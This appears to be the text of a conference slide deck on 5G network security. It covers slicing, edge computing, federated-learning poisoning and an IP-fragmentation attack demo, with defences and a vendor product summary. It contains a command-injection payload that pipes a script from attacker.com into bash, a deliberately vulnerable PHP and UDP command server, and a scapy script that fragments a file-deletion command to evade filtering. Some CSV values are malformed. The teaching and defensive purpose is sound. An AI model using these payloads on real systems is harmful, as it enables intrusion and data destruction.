

# **Network Security of 5G Ecosystems**


Ege HARPUTLU, Network & Cybersecurity Engineer

# AGENDA

- Introduction to 5G Networks
- Weaknesses of 5G Ecosystems
- Modern Defense Techniques for 5G Ecosystems
- Popular Attacks (with 2 hack simulation DEMO projects)
- Nokia's Security Solutions


# WHAT IS 5G?

- Autonomous systems, smart cities, IoT, and more...




# GENERAL CONCEPTS IN 5G ECOSYSTEMS


# SOFTWARE DEFINED NETWORK (SDN)




# NETWORK SLICING




# AN EXAMPLE: HOW A TRANSPORT SLICE WORKS ?



# EDGE COMPUTING (MEC)




# GTP-U (GENERAL PACKET RADIO SERVICE (GPRS) TUNNELING PROTOCOL – USER PLANE)




# 5G-BASED NETWORK SECURITY WEAKNESSES

- Expanded Attack Surface (entry points to attack like IoT, SDN, MEC, cloud, API, physical hardware)
- Unfamiliar Protocols & Technologies
- GTP-U in backhaul
- Security Lag vs. Ultra-Low Latency
- Initial Connection Vulnerabilities (RAN)
- Slice Misconfiguration Risks



# ARE TRADITIONAL SECURITY MEASURES STILL ENOUGH?


- Most traditional defense systems assume trusted internal zones.
- SDN environments introduce new, dynamic attack surfaces — static rules can't adapt.
- The device nodes in the edge computing or IoT devices generally have no security are rarely patched / updated.
- Quantum computing can break classical encryptions.



THIS IS WHY WE NEED A **PARADIGM SHIFT** —  
MORE MODERN AND FUTURE-PROOF METHODS  
TO SECURE 5G ECOSYSTEMS...


# ZERO TRUST SECURITY

- We should never trust anything- not users, devices, or services.




# QUANTUM-SAFE NETWORKS

- Robust against quantum computing based attacks.
- Can be used in initial connections (RAN) in 5G networks.




# **POPULAR ATTACKS APPLIED ON 5G ECOSYSTEMS**

# GENERAL THREAD-LANDSCAPE



# SECURITY THREADS DURING SLICE OPERATIONS




# POPULAR ATTACKS IN 5G ECOSYSTEMS


- DDoS on Network Slices
- Rogue Base Stations (Fake gNodeBs)
- Man-in-the-Middle over EC
- Location Tracking via Signaling Exploits
- Signaling Storms
- Cross-Slice Attacks (Lateral Movement)
- AI/ML Model Poisoning (e.g., FLPA)
- IP Fragmentation Attacks

# FEDERATED LEARNING POISONING ATTACK

# FIRST: WHAT IS FEDERATED LEARNING ?




# WHAT IS FEDERATED LEARNING POISONING ATTACK ?



# MY SIMULATION SET-UP

**GOAL:** Test whether a poisoned client can degrade the performance of a DDoS detection model in FL.



A	B	C	D	E	F	G	H
1	packet_ra	avg_packet_flow	dura	tcp_flag_s	tcp_flag_a	connectionstd	std_packetlabel
2	46.15444	546.7299	1183.691	0	0	2.520646	32.34262
3	649.0208	84.49277	102.1712	111	1	102.41	5.86277
4	501.9584	69.12407	109.0556	114	0	119.8534	5.057895
5	40.10395	555.2778	120.674	0	3.851929	3.027707	1
6	52.59723	51.1151	1411.309	4	4	204.0243	32.84938
7	485.6376	42.24074	165.574	99	2	104.7659	3.837077
8	552.4062	83.93526	84.30239	77	0	144.8507	24.090941
9	620.337	40.17612	162.9381	114	1	55.15968	10.26678
10	495.863	106.2409	9.961465	92	1	122.1458	6.554278
11	52.59723	51.1151	1411.309	111	1	122.1458	6.554278
12	377.0379	52.18223	43.2494	98	0	77.60956	10.90372
13	514.6763	60.79813	189.8377	102	0	129.9472	5.686231
14	52.85865	703.2546	832.2822	6	4	2.16517	32.71628
15	39.64758	638.1158	1047.881	2	3.087205	26.68083	0
16	41.27276	642.8307	843.0476	2	11	2.149803	32.53488
17	68.76796	50.39028	33.3439	2	5	1.23257	32.02609
18	45.2.8193	36.58675	145.6696	95	2	18.93273	4.768981
19	406.5999	17.42702	213.8844	104	0	101.2329	7.509931
20	44.53141	588.1931	820.986	2	3.612825	33.14039	0
21	48.52943	566.2934	1115.041	0	0	3.57357	21.59312
22	41.27276	485.6274	1380.827	4	2	3.087205	29.02609
23	57.12998	50.39028	33.3439	1	0	2.202.13	32.02609
24	75.60085	607.5434	1179.071	1	3	3.290088	27.43513
25	433.0929	101.0819	57.30355	106	1	173.7516	5.764398
26	413.1861	51.75678	160.582	106	3	124.8023	7.937729
27	55.86857	763.3432	1004.493	0	5	0.523208	41.34496
28	556.1506	76.90813	43.42473	104	1	103.8216	7.080699
29	500.0255	72.75797	84.07916	91	0	118.1392	5.338778



A	B	C	D	E	F	G	H
1	packet_ra	avg_packet_flow	dura	tcp_flag_s	tcp_flag_a	connectionstd	std_packetlabel
2	35.77746	693.2591	1171.918	2	4	2.913838	31.68131
3	501.9584	69.12407	109.0556	112	3	119.8534	5.057895
4	377.713	38.89958	149.042	111	1	111.2357	38.08065
5	46.90454	793.8929	1286.273	2	5	0.23257	29.43002
6	37.77872	482.099	1067.012	0	4	3.638957	37.16942
7	551.9665	43.80866	36.84823	92	0	112.4235	3.3558
8	640.4881	55.89415	14.99396	85	0	108.7947	6.539074
9	640.7500	41.9802	1123.01	1	4	4.216723	32.02609
10	41.27276	36.36699	148.3003	105	0	9.93273	10.60699
11	31.32735	630.9821	870.4916	1	7	3.89493	27.13148
12	356.3897	33.63816	220.9178	102	1	142.0764	7.177268
13	423.1718	74.92746	125.6838	114	2	83.44772	9.552158
14	508.2251	44.46652	90.9673	85	1	108.8003	6.642428
15	52.59723	51.1151	1411.309	99	1	122.1458	6.554278
16	573.5409	31.41347	67.3701	92	1	101.2346	4.059549
17	478.6762	82.2299	110.569	93	0	80.43288	7.196837
18	575.4527	44.93622	95.72906	91	0	182.1905	4.356934
19	52.1915	823.13	1071.691	1	5	4.026087	17.2373
20	52.59723	61.16	98.801	92	1	114.2126	5.50238
21	59.80805	109.3452	1034.368	3	4	3.121216	32.14406
22	45.75252	814.227	738.2359	1	4	4.781685	35.03559
23	45.222343	307.865	908.5397	2	7	3.10577	28.434671
24	49.75875	731.7598	1178.05	2	1	5.148706	23.83705
25	57.12998	35.07319	110.8757	96	0	77.1027	3.796832
26	41.27276	50.39028	33.3439	4	0	2.202.13	32.02609
27	68.76945	506.2778	1060.095	4	4	1.963671	31.07379
28	53.61396	595.30729	1193.079	0	7	2.303539	25.74191
29	421.6467	70.75967	135.9033	82	0	112.5012	2.925144

A	B	C	D	E	F	G	H
1	packet_ra	avg_packet_flow	dura	tcp_flag_s	tcp_flag_a	connectionstd	std_packetlabel
2	46.15444	546.7299	1183.691	0	0	2.520646	32.34262
3	649.0208	84.49277	102.1712	111	1	102.41	5.86277
4	501.9584	69.12407	109.0556	114	0	119.8534	5.057895
5	40.10395	555.2778	120.674	0	3.851929	3.027707	1
6	52.59723	51.1151	1411.309	4	4	2.520475	32.84938
7	485.6376	42.24074	165.574	99	2	104.7659	3.837077
8	552.4062	83.93526	84.30239	77	0	144.8507	24.090941
9	495.863	106.2409	106.1645	92	1	122.1458	6.554278
10	52.1.6068	94.19416	144.9799	111	1	122.1458	6.554278
11	377.0379	52.18223	43.2494	98	0	77.60956	10.90376
12	514.6763	60.79813	189.8377	102	0	129.9472	5.686231
13	52.59723	703.2546	832.2828	6	4	2.16517	32.71628
14	39.64758	638.1158	1047.881	2	3.087205	26.68083	0
15	68.76796	504.6671	963.05949	2	5	3.226292	33.58869
16	452.8193	36.58675	145.6699	95	2	18.93273	4.768981
17	406.5999	17.42702	213.8844	104	0	101.2329	7.509931
18	44.53141	588.1931	820.986	2	3.612825	33.14039	0
19	41.27276	51.1151	1411.309	1	4	3.087205	26.68083
20	57.12998	518.7679	1063.231	0	2	1.662129	29.02605
21	55.86857	63.1494	203.3	0	0	2.291512	26.5216
22	65.505	485.6274	1380.827	4	2	6.662129	29.02605
23	57.12998	718.7679	1063.231	0	5	2.291512	26.5216
24	75.60085	607.5434	1179.071	1	1	173.7516	5.764398
25	433.0929	101.0819	57.30355	106	1	124.8023	7.937729
26	413.1861	51.75678	160.582	106	0	124.8023	7.937729
27	55.86857	63.1494	203.3	0	0	1.662129	29.02605
28	556.1506	76.90813	43.42473	104	1	103.8216	7.080699
29	500.0255	72.75797	84.07916	91	0	118.1392	5.338778

# FLPA EFFECT

	precision	recall	f1-score	support
0	1.00	1.00	1.00	300
1	1.00	1.00	1.00	300
accuracy			1.00	600
macro avg	1.00	1.00	1.00	600
weighted avg	1.00	1.00	1.00	600

	precision	recall	f1-score	support
0	0.83	0.92	0.87	480
1	0.42	0.23	0.29	120
accuracy			0.78	600
macro avg	0.62	0.57	0.58	600
weighted avg	0.75	0.78	0.76	600



# DEFENSE STRATEGIES AGAINST FLPA

- Client-side validation: Check update consistency before aggregation.
- Robust aggregation techniques (e.g., Krum, Trimmed Mean).
- Behavioral monitoring of FL participants over time.
- Local model accuracy check

# IP FRAGMENTATION ATTACK

# FIRST: WHAT IS IP FRAGMENTATION ?

- Splits large packets into smaller fragments due to MTU limitations on the path.
- Each fragment carries a portion of the original payload, reassembled at the destination host.

## Example

- 4000 byte datagram
- MTU = 1500 bytes

1480 bytes in data field

$$\text{offset} = \frac{1480}{8}$$

	length =4000	ID =x	fragflag =0	offset =0	
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One large datagram becomes several smaller datagrams


	length =1500	ID =x	fragflag =1	offset =0	
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	length =1500	ID =x	fragflag =1	offset =185	
--	-----------------	----------	----------------	----------------	--

	length =1040	ID =x	fragflag =0	offset =370	
--	-----------------	----------	----------------	----------------	--


# WHAT IS IP FRAGMENTATION ATTACK ?

- Sending a harmful payload via HTTP, UDP, ICMP, etc. by fragmenting it to bypass
- Denial of Service (DoS) by sending very small fragments with false offsets to confuse target




# IP FRAGMENTATION ATTACK IN 5G-BASED NETWORKS

- When outer IP packets are not fragmented, but inner IP payloads in the GTP headers are fragmented; some reassemble-aware security systems do not see the inner IP fragments since they are focusing on outer IPs.
- Sometimes no reassembling due to ultra-low latency and high sped issues.




# REMOTE CODE EXECUTION (RCE) VULNERABILITY ?

```
POST /change_password.php  
user=deniz;curl http://attacker.com/x.sh|bash  
new_pass=1234
```



```
private function change_system_password($user, $current_root_pass, $new_user_pass, &$msg) {  
    $status = 0;  
    $res = trim(shell_exec('echo $UID'));  
    if ($res == 0) {  
        // running as root, no sudo needed for passwd command  
        $handle = popen("/usr/bin/passwd --stdin $user", 'w');  
        fwrite($handle, "$new_user_pass\n");  
        pclose($handle);  
    } else {
```

# MY ATTACK SIMULATION



```
def run_fragment_attack(unit_count): 1usage
    """
    Repeat "echo. &&" units as unit_count and then, send "del /f /q ..." command by fragmenting!
    """

    payload = PAD_UNIT * unit_count + KEYWORD + EXTRA_CMD
    pkt = IP(dst=SERVER_IP, id=IP_ID) / UDP(sport=SOURCE_PORT, dport=SERVER_PORT) / Raw(payload)
    frags = fragment(pkt, fragsize=FRAG_SIZE)

    print(f"[+] {len(frags)} fragment created, sending...")
    for i, f in enumerate(frags):
        print(f" -> Fragment {i}: offset={f.frag}, MF={int(f.flags.MF)}")
        send(f, verbose=False)
        time.sleep(0.05)

    print("[v] Sending completed. Check the server's output, please.")
```

```
def start_udp_server(): 1usage
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind((SERVER_IP, SERVER_PORT))
    print(f"[+] UDP Server {SERVER_IP}:{SERVER_PORT} is listening...")

    while True:
        try:
            data, addr = sock.recvfrom(BUFFER_SIZE)
            full_command = data.decode('utf-8').strip()

            print(f"\n[v] IP Fragments reasssembled. Command received:")
            print(f"[{addr[0]}:{addr[1]}] -> {repr(full_command)}")

            print(f">> Command executing...")
            os.system(full_command)
            print("--- Command executed ---\n")

        except Exception as e:
            print(f"[!] An error occurred: {e}")
            break
```

**GOAL:** To delete a critical file of a machine with RCE vulnerability, bypassing firewall or other security systems.

# WIRESHARK ANALYSIS

ip.flags.mf == 1    ip.frag_offset > 0						
No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	127.0.0.1	127.0.0.1	UDP	168	54321 → 12345 Len=156
2	0.053072	127.0.0.1	127.0.0.1	IPv4	44	Fragmented IP protocol (proto=UDP 17, off=144, ID=beef)

0000	2	0	0	0	69	0	0	164	190	239	32	0	64	17	157	87	....E.....@..W
0010	127	0	0	1	127	0	0	1	212	49	48	57	0	164	202	33	.....109...!
0020	101	99	104	111	46	32	38	38	32	101	99	104	111	46	32	38	echo. && echo. &
0030	38	32	101	99	104	111	46	32	38	38	32	101	99	104	111	46	& echo. && echo.
0040	32	38	38	32	101	99	104	111	46	32	38	38	32	101	99	104	&& echo. . && ech
0050	111	46	32	38	38	32	101	99	104	111	46	32	38	38	32	101	o. && ec ho. && e
0060	99	104	111	46	32	38	38	32	101	99	104	111	46	32	38	38	cho. && echo. &&
0070	32	101	99	104	111	46	32	38	38	32	101	99	104	111	46	32	echo. & & echo.
0080	38	38	32	101	99	104	111	46	32	38	38	32	101	99	104	111	&& echo. && echo
0090	46	32	38	38	32	101	99	104	111	46	32	38	38	32	101	99	. && ech o. && ec
00a0	104	111	46	32	38	38	32	100									ho. && d

0000	2	0	0	0	69	0	0	40	190	239	0	18	64	17	189	193	....E..(....@...
0010	127	0	0	1	127	0	0	1	101	108	32	47	102	32	47	113	.....el/f/q
0020	32	115	101	99	114	101	116	46	116	120	116	10					secret. txt


# DEFENSE STRATEGIES AGAINST IPF BASED ATTACKS

- Deep IP / GTP Packet Reassembly at Edge & Core Security Systems
- Drop Suspicious or Incomplete Fragments:  
Filter packets with abnormal fragmentation patterns (e.g., MF=1 with no final MF=0, or constant Fragment Offset = 0).
- MTU Hardening in 5G Networks:  
Dynamically tune conservative MTU values per slice to reduce fragmentation

# NOKIA SOLUTIONS

# NOKIA'S SOLUTION

Nokia protects 5G networks (esp. RAN and telco cloud) with a telecom-aware Extended Detection and Report (XDR) security system (from the Netguard family). It collects all telemetry in Microsoft Sentinel. With Cybersecurity Dome (SaaS), it links and understands this data in the 5G context and explores patterns if exist. Then it takes automatic actions using NIAM, firewall, etc.



# **THANK YOU FOR LISTENING**



ANY QUESTIONS ?

# RESOURCES & REFERENCES

- Nokia ([nokia.com](http://nokia.com))
- ChatGPT